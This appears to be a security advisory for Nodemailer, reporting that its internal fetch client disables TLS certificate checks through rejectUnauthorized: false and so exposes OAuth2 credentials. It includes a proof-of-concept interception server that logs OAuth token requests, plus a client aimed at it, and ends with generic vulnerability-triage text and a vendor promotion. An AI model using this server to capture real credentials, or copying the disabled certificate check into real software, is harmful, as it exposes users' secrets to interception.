Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.
As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.
An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:
The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.
Root Cause
The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.
Inside:
lib/fetch/index.js
the request options contain:
rejectUnauthorized: false
This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.
As a result:
This violates expected HTTPS security guarantees.
Vulnerable Flow
The vulnerable execution chain is:
OAuth2 Transport ↓ XOAuth2 token generation ↓ Internal HTTPS fetch client ↓ HTTPS request with rejectUnauthorized:false ↓ Attacker-controlled/self-signed endpoint trusted ↓ OAuth credentials transmitted
Environment
const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();
const app = express();
app.use(express.json());
const transporter = nodemailer.createTransport({
host: process.env.SMTP_HOST,
port: process.env.SMTP_PORT,
secure: false,
auth: {
user: process.env.SMTP_USER,
pass: process.env.SMTP_PASS
}
});
app.post("/send", async (req, res) => {
try {
const { to, subject, text, html } = req.body;
const info = await transporter.sendMail({
from: `"Mailer" <${process.env.SMTP_USER}>`,
to,
subject,
text,
html
});
res.json({
success: true,
messageId: info.messageId
});
} catch (err) {
console.error(err);
res.status(500).json({
success: false,
error: err.message
});
}
});
app.listen(process.env.PORT, () => {
console.log(`Mailer running on port ${process.env.PORT}`);
});
const https = require('https');
const fs = require('fs');
https.createServer({
key: fs.readFileSync('./key.pem'),
cert: fs.readFileSync('./cert.pem')
}, (req, res) => {
console.log('\n==== REQUEST INTERCEPTED ====');
console.log(req.method, req.url);
let body = '';
req.on('data', chunk => {
body += chunk;
});
req.on('end', () => {
console.log('\nPOST BODY:');
console.log(body);
res.writeHead(200, {
'Content-Type': 'application/json'
});
res.end(JSON.stringify({
access_token: 'attacker_token',
expires_in: 3600
}));
});
}).listen(8443, () => {
console.log('Malicious HTTPS OAuth server listening on 8443');
});
const nodemailer = require('./');
const transporter = nodemailer.createTransport({
service: 'gmail',
auth: {
type: 'OAuth2',
user: '[email protected]',
clientId: 'CLIENT_ID_REDACTED',
clientSecret: 'CLIENT_SECRET_REDACTED',
refreshToken: 'REFRESH_TOKEN_REDACTED',
accessUrl: 'https://localhost:8443/token'
}
});
transporter.sendMail({
from: '[email protected]',
to: '[email protected]',
subject: 'PoC',
text: 'test'
}, (err, info) => {
console.log('\n==== NODEMAILER RESULT ====');
if (err) {
console.error(err);
} else {
console.log(info);
}
});
Steps to Reproduce
PIC <img width="1919" height="1029" alt="image" src="https://github.com/user-attachments/assets/fdeafeb4-c0c5-49f8-beeb-e7f945be0516" />
The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.
| Software | From | Fixed in |
|---|---|---|
nodemailer
|
- | 8.0.8 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.